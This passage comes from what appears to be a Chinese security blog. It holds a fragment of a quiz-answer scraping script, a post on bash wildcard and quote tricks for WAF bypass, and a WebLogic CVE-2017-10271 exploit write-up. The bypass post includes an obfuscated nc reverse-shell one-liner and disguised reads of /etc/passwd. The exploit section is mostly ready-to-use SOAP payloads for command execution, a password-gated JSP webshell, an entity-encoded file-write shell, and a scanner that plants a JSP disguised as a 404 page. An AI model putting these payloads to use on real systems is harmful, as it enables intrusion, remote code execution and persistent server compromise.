div class=\"f13\"><a target=\"_blank\" href=\"(.*?)\" class=\"c-showurl\" style=\"text-decoration:none;', re.IGNORECASE | re.DOTALL | re.MULTILINE)
    try:
        resp = requests.get(url,headers=headers, verify=False)
        beqid = equid.findall(resp.content)
        #print beqid[0]
        burl = geturl.findall(resp.content)
        if  len(burl)>0:
            url2 = burl[0]+"&wd=&eqid="+str(beqid[0])
            realurl = re.compile(r"URL='(.*?)'", re.IGNORECASE | re.DOTALL | re.MULTILINE)
            try:
                resp1 = requests.get(url2,headers=headers, verify=False)
                realurl = realurl.findall(resp1.content)
                if len(realurl)>0:
                    print(realurl[0])
                    get_answer_tiba(realurl[0])
                    #return realurl[0]
            except Exception as e:
                print str(e)
                pass
        else:
            print(Fore.RED + "好像没有找到答案,估计要认命了^_^\n那么就随便选择一个呗。无法了" + Fore.RESET)
    except Exception as e:
        print str(e)
        pass

效果如下


单图片识别的效果

PS:为啥不搞成自动点击得.因为有些题目得图片不一样,问题和答案都是一样得。会造成很高得误报。

警告⚠️:
本文仅仅做技术研究。请参考第五条
如系统监控到采用非法手段获取答题积分的,将被列为不诚信人员黑名单库,禁止使用答题积分功能,非法获得的积分将予以清除。

思路跟前段时间的答题赢奖金差不多

Bash通配符在命令执行中的应用

发布时间:February 25, 2018 // 分类:运维工作,linux // No Comments

主要是在和基友讨论一个绕过的时候遇到了.后来翻东西的时候发现已经有国外的大神对此已经发布过类似的东西了.既然如此,记录下呗,权当搬运工

首先关于bash通配符

其中的?是匹配一个任意字符.也就是说如果我们平时执行的是cat /etc/passwd可以用?来替代

首先来试试常见的ls

root@bee-box:~# which ls
/bin/ls
root@bee-box:~# echo /???/?s
/bin/ls /bin/ps /sys/fs
root@bee-box:~#

可以用/???/?s来取代.类似的cat也是可以用/???/??t或者/???/c?t等来查找到.如果在绕waf的过程里面应该是可以直接拿出来用的.

root@bee-box:~# echo /???/c?t
/bin/cat
root@bee-box:~# echo /???/??t
/bin/cat /dev/net /etc/apt /etc/opt /etc/rmt /var/opt

试试常见的cat /etc/passwd
我们用/???/??t /???/??ss??来替换

效果直接执行差别不是很大

然而实际上我们测试那个waf的时候发现超过了4个?就不行了

直接上nc的时候就可以换成了

/???/?c -e /???/b??h 2130706433 7088

另外附上一些tips
1.bash不仅仅可以允许连接路径.命令也是可以的。比如在linux里面'可以用来分割字符.
2.\是一个转义的作用而已.不过依旧可以用来替换'

$ /bin/cat /etc/passwd
$ /bin/cat /e'tc'/pa'ss'wd
$ /bin/c'at' /e'tc'/pa'ss'wd
$ /b'i'n/c'a't /e't'c/p'a's's'w'd'
$ c\a\t /et\c/passwd

Weblogic(CVE-2017-10271)漏洞复现 附POC

发布时间:December 26, 2017 // 分类:开发笔记,linux,python,windows // No Comments

最近的CVE-2017-10271也是引起了一个小风波。趁着刚好有空就也测试了一下.测试环境是基于docker的.实际地址是:
https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

注意的是,在发送请求的时候,在请求头中必带Content-Type: text/xml,否则是无法请求成功的。
文件上传:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.1.101:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 582

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java>
                <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/poacher.txt</string><void method="println">
                        <string>Weblogic By:Poacher</string></void><void method="close"/>
                    </object>
                </java>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

命令执行(猥琐命令回显方法)

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                      <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

得说一下这里是使用的ProcessBuilder类进行的本地命令调用的。所以如果需要修改命令的话就得吧对应的参数修改了。以上的poc是弹计算器的。验证一下。

接下来说一下猥琐的命令回显的一个小方法。但是有前提的。前提是足够写入权限。
可以通过执行命令的方式进行一个回显。如Windows下的命令:ipconfig >> c:\1.txt 就可以将ipconfig的结果存放到了c:\1.txt下。我们也可以如此。接下来修改下POC:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="5">
                      <void index="0">
                        <string>cmd</string>
                    </void>
                    <void index="1">
                        <string>/c</string>
                    </void>    
                    <void index="2">
                        <string>ipconfig</string>
                    </void>        
                    <void index="3">
                        <string>>></string>
                    </void>    
                    <void index="4">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt</string>
                    </void>        
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>

注意:在<array class="java.lang.String" length="5">这里的长度需要对照着下边所传的参数填写。array内的void有多少个那么长度就为多少。还有void内的index是从0开始填写。输出的路径为上面所填写即直接输出到了weblogic对应目录下了。以上组成的命令就是为:cmd /c ipconfig >> servers/AdminServer/tmp/_WL_internal/wls-wsat/ipconfig.txt,可以测试一下:

访问:http://www.xxxxx.cn:7001/wls-wsat/ipconfig.txt

发一个可以直接getshell的利用

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println">
                    <string><![CDATA[<%if("023".equals(request.getParameter("pwd"))){  
                        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();  
                        int a = -1;  
                        byte[] b = new byte[2048];  
                        out.print("<pre>");  
                        while((a=in.read(b))!=-1){  
                            out.println(new String(b));  
                        }  
                        out.print("</pre>");} %>]]></string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

另外附上一个其他的payload

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java>
        <java version="1.4.0" class="java.beans.XMLDecoder">
                <object class="java.io.PrintWriter">
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>
                        <void method="println"><string>&#60;&#37;@&#32;p&#97;ge&#32;l&#97;ngu&#97;ge&#61;&#34;j&#97;v&#97;&#34;&#32;p&#97;ge&#69;n&#99;oding&#61;&#34;g&#98;k&#34;&#37;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#70;ile&#34;&#47;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#79;utput&#83;tre&#97;m&#34;&#47;&#62;&#60;jsp&#58;dire&#99;tive&#46;p&#97;ge&#32;import&#61;&#34;j&#97;v&#97;&#46;io&#46;&#70;ile&#79;utput&#83;tre&#97;m&#34;&#47;&#62;&#60;&#37;&#32;int&#32;i&#61;&#48;&#59;&#83;tring&#32;method&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;&#97;&#99;t&#34;&#41;&#59;if&#40;method&#33;&#61;null&#38;&#38;method&#46;equ&#97;ls&#40;&#34;yo&#99;o&#34;&#41;&#41;{&#83;tring&#32;url&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;url&#34;&#41;&#59;&#83;tring&#32;text&#61;request&#46;get&#80;&#97;r&#97;meter&#40;&#34;sm&#97;rt&#34;&#41;&#59;&#70;ile&#32;f&#61;new&#32;&#70;ile&#40;url&#41;&#59;if&#40;f&#46;exists&#40;&#41;&#41;{f&#46;delete&#40;&#41;&#59;}try{&#79;utput&#83;tre&#97;m&#32;o&#61;new&#32;&#70;ile&#79;utput&#83;tre&#97;m&#40;f&#41;&#59;o&#46;write&#40;text&#46;get&#66;ytes&#40;&#41;&#41;&#59;o&#46;&#99;lose&#40;&#41;&#59;}&#99;&#97;t&#99;h&#40;&#69;x&#99;eption&#32;e&#41;{i&#43;&#43;&#59;&#37;&#62;&#48;&#60;&#37;}}if&#40;i&#61;&#61;&#48;&#41;{&#37;&#62;&#49;&#60;&#37;}&#37;&#62;&#60;form&#32;&#97;&#99;tion&#61;&#39;&#63;&#97;&#99;t&#61;yo&#99;o&#39;&#32;method&#61;&#39;post&#39;&#62;&#60;input&#32;size&#61;&#34;&#49;&#48;&#48;&#34;&#32;v&#97;lue&#61;&#34;&#60;&#37;&#61;&#97;ppli&#99;&#97;tion&#46;get&#82;e&#97;l&#80;&#97;th&#40;&#34;&#47;&#34;&#41;&#32;&#37;&#62;&#34;&#32;n&#97;me&#61;&#34;url&#34;&#62;&#60;&#98;r&#62;&#60;text&#97;re&#97;&#32;rows&#61;&#34;&#50;&#48;&#34;&#32;&#99;ols&#61;&#34;&#56;&#48;&#34;&#32;n&#97;me&#61;&#34;sm&#97;rt&#34;&#62;</string></void><void method="close"/>
                </object>
        </java>
</java>
</work:WorkContext>
</soapenv:Header><soapenv:Body/></soapenv:Envelope>

因为所有的都是基于servers/AdminServer/tmp/下可写的情况下的.不过作为验证需要利用非有害请求的方式,写了某框架的插件.借助dns来验证是否存在.如果不存在再考虑写文件的方式.

    def verify_shell(self):
        import re
        exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=self.option.url))
        random_file = str(randint(10000000,99999999))
        payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java><java version="1.4.0" class="java.beans.XMLDecoder">
            <object class="java.io.PrintWriter">
                <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bb1fe939c9ec5.jsp</string><void method="println">
                    <string>&#x3c;&#x25;&#x40;&#x20;&#x70;&#x61;&#x67;&#x65;&#x20;&#x6c;&#x61;&#x6e;&#x67;&#x75;&#x61;&#x67;&#x65;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x22;&#x20;&#x70;&#x61;&#x67;&#x65;&#x45;&#x6e;&#x63;&#x6f;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x22;&#x67;&#x62;&#x6b;&#x22;&#x25;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#x3c;&#x6a;&#x73;&#x70;&#x3a;&#x64;&#x69;&#x72;&#x65;&#x63;&#x74;&#x69;&#x76;&#x65;&#x2e;&#x70;&#x61;&#x67;&#x65;&#x20;&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x3d;&#x22;&#x6a;&#x61;&#x76;&#x61;&#x2e;&#x69;&#x6f;&#x2e;&#x46;&#x69;&#x6c;&#x65;&#x4f;&#x75;&#x74;&#x70;&#x75;&#x74;&#x53;&#x74;&#x72;&#x65;&#x61;&#x6d;&#x22;&#x2f;&#x3e;&#xa;&#x3c;&#x21;&#x44;&#x4f;&#x43;&#x54;&#x59;&#x50;&#x45;&#x20;&#x48;&#x54;&#x4d;&#x4c;&#x20;&#x50;&#x55;&#x42;&#x4c;&#x49;&#x43;&#x20;&#x22;&#x2d;&#x2f;&#x2f;&#x57;&#x33;&#x43;&#x2f;&#x2f;&#x44;&#x54;&#x44;&#x20;&#x48;&#x54;&#x4d;&#x4c;&#x20;&#x34;&#x2e;&#x30;&#x20;&#x44;&#x72;&#x61;&#x66;&#x74;&#x2f;&#x2f;&#x45;&#x4e;&#x22;&#x3e;&#xa;&#x3c;&#x48;&#x54;&#x4d;&#x4c;&#x3e;&#xa;&#x3c;&#x48;&#x45;&#x41;&#x44;&#x3e;&#xa;&#x3c;&#x54;&#x49;&#x54;&#x4c;&#x45;&#x3e;&#x45;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x34;&#x30;&#x34;&#x2d;&#x2d;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x54;&#x49;&#x54;&#x4c;&#x45;&#x3e;&#xa;&#x3c;&#x2f;&#x48;&#x45;&#x41;&#x44;&#x3e;&#xa;&#x3c;&#x42;&#x4f;&#x44;&#x59;&#x20;&#x62;&#x67;&#x63;&#x6f;&#x6c;&#x6f;&#x72;&#x3d;&#x22;&#x77;&#x68;&#x69;&#x74;&#x65;&#x22;&#x3e;&#xa;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x3e;&#x3c;&#x42;&#x52;&#x20;&#x43;&#x4c;&#x45;&#x41;&#x52;&#x3d;&#x61;&#x6c;&#x6c;&#x3e;&#xa;&#x3c;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x20;&#x62;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x3d;&#x30;&#x20;&#x63;&#x65;&#x6c;&#x6c;&#x73;&#x70;&#x61;&#x63;&#x69;&#x6e;&#x67;&#x3d;&#x35;&#x3e;&#x3c;&#x54;&#x52;&#x3e;&#x3c;&#x54;&#x44;&#x3e;&#x3c;&#x42;&#x52;&#x20;&#x43;&#x4c;&#x45;&#x41;&#x52;&#x3d;&#x61;&#x6c;&#x6c;&#x3e;&#xa;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x43;&#x4f;&#x4c;&#x4f;&#x52;&#x3d;&#x22;&#x62;&#x6c;&#x61;&#x63;&#x6b;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x32;&#x3e;&#x45;&#x72;&#x72;&#x6f;&#x72;&#x20;&#x34;&#x30;&#x34;&#x2d;&#x2d;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x48;&#x32;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x54;&#x44;&#x3e;&#x3c;&#x2f;&#x54;&#x52;&#x3e;&#xa;&#x3c;&#x2f;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x3e;&#xa;&#x3c;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x20;&#x62;&#x6f;&#x72;&#x64;&#x65;&#x72;&#x3d;&#x30;&#x20;&#x77;&#x69;&#x64;&#x74;&#x68;&#x3d;&#x31;&#x30;&#x30;&#x25;&#x20;&#x63;&#x65;&#x6c;&#x6c;&#x70;&#x61;&#x64;&#x64;&#x69;&#x6e;&#x67;&#x3d;&#x31;&#x30;&#x3e;&#x3c;&#x54;&#x52;&#x3e;&#x3c;&#x54;&#x44;&#x20;&#x56;&#x41;&#x4c;&#x49;&#x47;&#x4e;&#x3d;&#x74;&#x6f;&#x70;&#x20;&#x57;&#x49;&#x44;&#x54;&#x48;&#x3d;&#x31;&#x30;&#x30;&#x25;&#x20;&#x42;&#x47;&#x43;&#x4f;&#x4c;&#x4f;&#x52;&#x3d;&#x77;&#x68;&#x69;&#x74;&#x65;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x43;&#x6f;&#x75;&#x72;&#x69;&#x65;&#x72;&#x20;&#x4e;&#x65;&#x77;&#x22;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x33;&#x3e;&#x46;&#x72;&#x6f;&#x6d;&#x20;&#x52;&#x46;&#x43;&#x20;&#x32;&#x30;&#x36;&#x38;&#x20;&#x3c;&#x69;&#x3e;&#x48;&#x79;&#x70;&#x65;&#x72;&#x74;&#x65;&#x78;&#x74;&#x20;&#x54;&#x72;&#x61;&#x6e;&#x73;&#x66;&#x65;&#x72;&#x20;&#x50;&#x72;&#x6f;&#x74;&#x6f;&#x63;&#x6f;&#x6c;&#x20;&#x2d;&#x2d;&#x20;&#x48;&#x54;&#x54;&#x50;&#x2f;&#x31;&#x2e;&#x31;&#x3c;&#x2f;&#x69;&#x3e;&#x3a;&#x3c;&#x2f;&#x48;&#x33;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x48;&#x65;&#x6c;&#x76;&#x65;&#x74;&#x69;&#x63;&#x61;&#x22;&#x20;&#x53;&#x49;&#x5a;&#x45;&#x3d;&#x22;&#x33;&#x22;&#x3e;&#x3c;&#x48;&#x34;&#x3e;&#x31;&#x30;&#x2e;&#x34;&#x2e;&#x35;&#x20;&#x34;&#x30;&#x34;&#x20;&#x4e;&#x6f;&#x74;&#x20;&#x46;&#x6f;&#x75;&#x6e;&#x64;&#x3c;&#x2f;&#x48;&#x34;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x50;&#x3e;&#x3c;&#x46;&#x4f;&#x4e;&#x54;&#x20;&#x46;&#x41;&#x43;&#x45;&#x3d;&#x22;&#x43;&#x6f;&#x75;&#x72;&#x69;&#x65;&#x72;&#x20;&#x4e;&#x65;&#x77;&#x22;&#x3e;&#x54;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x68;&#x61;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x66;&#x6f;&#x75;&#x6e;&#x64;&#x20;&#x61;&#x6e;&#x79;&#x74;&#x68;&#x69;&#x6e;&#x67;&#x20;&#x6d;&#x61;&#x74;&#x63;&#x68;&#x69;&#x6e;&#x67;&#x20;&#x74;&#x68;&#x65;&#x20;&#x52;&#x65;&#x71;&#x75;&#x65;&#x73;&#x74;&#x2d;&#x55;&#x52;&#x49;&#x2e;&#x20;&#x4e;&#x6f;&#x20;&#x69;&#x6e;&#x64;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x69;&#x73;&#x20;&#x67;&#x69;&#x76;&#x65;&#x6e;&#x20;&#x6f;&#x66;&#x20;&#x77;&#x68;&#x65;&#x74;&#x68;&#x65;&#x72;&#x20;&#x74;&#x68;&#x65;&#x20;&#x63;&#x6f;&#x6e;&#x64;&#x69;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x69;&#x73;&#x20;&#x74;&#x65;&#x6d;&#x70;&#x6f;&#x72;&#x61;&#x72;&#x79;&#x20;&#x6f;&#x72;&#x20;&#x70;&#x65;&#x72;&#x6d;&#x61;&#x6e;&#x65;&#x6e;&#x74;&#x2e;&#x3c;&#x2f;&#x70;&#x3e;&#x3c;&#x70;&#x3e;&#x49;&#x66;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x64;&#x6f;&#x65;&#x73;&#x20;&#x6e;&#x6f;&#x74;&#x20;&#x77;&#x69;&#x73;&#x68;&#x20;&#x74;&#x6f;&#x20;&#x6d;&#x61;&#x6b;&#x65;&#x20;&#x74;&#x68;&#x69;&#x73;&#x20;&#x69;&#x6e;&#x66;&#x6f;&#x72;&#x6d;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x61;&#x76;&#x61;&#x69;&#x6c;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x74;&#x6f;&#x20;&#x74;&#x68;&#x65;&#x20;&#x63;&#x6c;&#x69;&#x65;&#x6e;&#x74;&#x2c;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x63;&#x6f;&#x64;&#x65;&#x20;&#x34;&#x30;&#x33;&#x20;&#x28;&#x46;&#x6f;&#x72;&#x62;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x29;&#x20;&#x63;&#x61;&#x6e;&#x20;&#x62;&#x65;&#x20;&#x75;&#x73;&#x65;&#x64;&#x20;&#x69;&#x6e;&#x73;&#x74;&#x65;&#x61;&#x64;&#x2e;&#x20;&#x54;&#x68;&#x65;&#x20;&#x34;&#x31;&#x30;&#x20;&#x28;&#x47;&#x6f;&#x6e;&#x65;&#x29;&#x20;&#x73;&#x74;&#x61;&#x74;&#x75;&#x73;&#x20;&#x63;&#x6f;&#x64;&#x65;&#x20;&#x3c;&#x69;&#x6e;&#x70;&#x75;&#x74;&#x20;&#x74;&#x79;&#x70;&#x65;&#x3d;&#x22;&#x68;&#x69;&#x64;&#x64;&#x65;&#x6e;&#x22;&#x20;&#x76;&#x61;&#x6c;&#x75;&#x65;&#x3d;&#x22;&#x3c;&#x25;&#x3d;&#x61;&#x70;&#x70;&#x6c;&#x69;&#x63;&#x61;&#x74;&#x69;&#x6f;&#x6e;&#x2e;&#x67;&#x65;&#x74;&#x52;&#x65;&#x61;&#x6c;&#x50;&#x61;&#x74;&#x68;&#x28;&#x22;&#x2f;&#x22;&#x29;&#x20;&#x25;&#x3e;&#x22;&#x20;&#x69;&#x64;&#x3d;&#x22;&#x63;&#x39;&#x39;&#x34;&#x38;&#x32;&#x65;&#x37;&#x32;&#x39;&#x35;&#x66;&#x32;&#x31;&#x39;&#x64;&#x34;&#x64;&#x32;&#x62;&#x62;&#x31;&#x66;&#x65;&#x39;&#x33;&#x39;&#x63;&#x39;&#x65;&#x63;&#x35;&#x22;&#x3e;&#x53;&#x48;&#x4f;&#x55;&#x4c;&#x44;&#x20;&#x62;&#x65;&#x20;&#x75;&#x73;&#x65;&#x64;&#x20;&#x69;&#x66;&#x20;&#x74;&#x68;&#x65;&#x20;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x20;&#x6b;&#x6e;&#x6f;&#x77;&#x73;&#x2c;&#x20;&#x74;&#x68;&#x72;&#x6f;&#x75;&#x67;&#x68;&#x20;&#x73;&#x6f;&#x6d;&#x65;&#x20;&#x69;&#x6e;&#x74;&#x65;&#x72;&#x6e;&#x61;&#x6c;&#x6c;&#x79;&#x20;&#x63;&#x6f;&#x6e;&#x66;&#x69;&#x67;&#x75;&#x72;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x6d;&#x65;&#x63;&#x68;&#x61;&#x6e;&#x69;&#x73;&#x6d;&#x2c;&#x20;&#x74;&#x68;&#x61;&#x74;&#x20;&#x61;&#x6e;&#x20;&#x6f;&#x6c;&#x64;&#x20;&#x72;&#x65;&#x73;&#x6f;&#x75;&#x72;&#x63;&#x65;&#x20;&#x69;&#x73;&#x20;&#x70;&#x65;&#x72;&#x6d;&#x61;&#x6e;&#x65;&#x6e;&#x74;&#x6c;&#x79;&#x20;&#x75;&#x6e;&#x61;&#x76;&#x61;&#x69;&#x6c;&#x61;&#x62;&#x6c;&#x65;&#x20;&#x61;&#x6e;&#x64;&#x20;&#x68;&#x61;&#x73;&#x20;&#x6e;&#x6f;&#x20;&#x66;&#x6f;&#x72;&#x77;&#x61;&#x72;&#x64;&#x69;&#x6e;&#x67;&#x20;&#x61;&#x64;&#x64;&#x72;&#x65;&#x73;&#x73;&#x2e;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x50;&#x3e;&#xa;&#x3c;&#x2f;&#x46;&#x4f;&#x4e;&#x54;&#x3e;&#x3c;&#x2f;&#x54;&#x44;&#x3e;&#x3c;&#x2f;&#x54;&#x52;&#x3e;&#xa;&#x3c;&#x2f;&#x54;&#x41;&#x42;&#x4c;&#x45;&#x3e;&#xa;&#xa;&#x3c;&#x2f;&#x42;&#x4f;&#x44;&#x59;&#x3e;&#xa;&#x3c;&#x2f;&#x48;&#x54;&#x4d;&#x4c;&#x3e;&#x3c;&#x25;&#x72;&#x65;&#x73;&#x70;&#x6f;&#x6e;&#x73;&#x65;&#x2e;&#x73;&#x65;&#x74;&#x53;&#x74;&#x61;&#x74;&#x75;&#x73;&#x28;&#x34;&#x30;&#x34;&#x29;&#x3b;&#x25;&#x3e;</string></void><void method="close"/>
            </object>
        </java>
      </java>
    </work:WorkContext>
  </soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'''
        try:
            response = requests.post(exp_url, data=payload.replace('bb1fe939c9ec5',random_file),headers=self.headers, timeout=60, verify=False,allow_redirects = False)
        except Exception, e:
            self.result.error = str(e)
            return

        if response.status_code == 404:
            return

        nurl = self.option.url+'/bea_wls_internal/bb1fe939c9ec5.jsp'
        self.print_debug(nurl.replace('bb1fe939c9ec5',random_file))
        try:
            rep = requests.get(nurl.replace('bb1fe939c9ec5',random_file),headers=self.headers,timeout=60, verify=False,allow_redirects = False)
            if rep.status_code == 404 and 'c99482e7295f219d4d2bb1fe939c9ec5' in rep.content:
                path = re.findall(r'value="(.*?) id="',rep.content)
                if path:
                    self.print_debug(path)
                    self.result.status = True
                    self.result.description = "目标 {url} 存在WebLogic的WLS组件存在xmldecoder反序列漏洞,\n服务器的路径是{path},\n测试的payload为: \n{payload}".format(
                        url=exp_url,
                        path = path[0],
                        payload = payload.replace('bb1fe939c9ec5',random_file)
                    )
        except Exception as e:
            self.result.error = str(e)
            return

    def verify(self):
        payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
  <soapenv:Header> 
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
      <java> 
        <void class="java.net.Socket"> 
          <string>{host}.tscan.xxxx.info</string>
          <int>3000</int>
        </void> 
      </java> 
    </work:WorkContext> 
  </soapenv:Header>  
  <soapenv:Body/> 
</soapenv:Envelope>'''
        exp_url = ("{domain}/wls-wsat/CoordinatorPortType".format(domain=self.option.url))
        newurlparse = urlparse(self.option.url)
        host = newurlparse.netloc.replace(':','_').replace('.','_')+'_'+str(randint(1000,9999))
        self.print_debug(host)
        try:
            resp = requests.get(exp_url,headers=self.headers,timeout=60, verify=False,allow_redirects = False)
            if resp.status_code == 404:
                return
        except Exception as e:
            self.result.error = str(e)
            return
        self.print_debug(payload.format(host=host))
        try:
            response = requests.post(exp_url, data=payload.format(host=host),headers=self.headers, timeout=60, verify=False,allow_redirects = False)
        except Exception, e:
            self.result.error = str(e)
            return

        time.sleep(3)
        try:
            verify_url = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action=dnslog&domain={host}"
            self.print_debug(verify_url.format(host=host))
            verify_rep = requests.get(verify_url.format(host=host),timeout=60, verify=False,allow_redirects = False)
            if verify_rep.content.find(host)!=-1:
                self.result.status = True
                self.result.description = "目标 {url} 存在WebLogic的WLS组件存在xmldecoder反序列漏洞, 测试的payload为: \n{payload}".format(
                    url=exp_url,
                    payload = payload.format(host=host)
                )
            else:
                self.verify_shell()
        except Exception as e:
            self.result.error = str(e)
            return
        finally:
            clearurl = "http://0cx.cc/api.php?apikey=xxxxxxxxxxxx&action=clearlog&domain={host}"
            self.print_debug(clearurl.format(host=host))
            requests.get(clearurl.format(host=host),timeout=60, verify=False,allow_redirects = False)

    def exploit(self):
        self.verify()

附上自用检测脚本

# -*- coding: utf-8 -*-
import re
import requests
from urlparse import urlparse
from random import randint

headers={
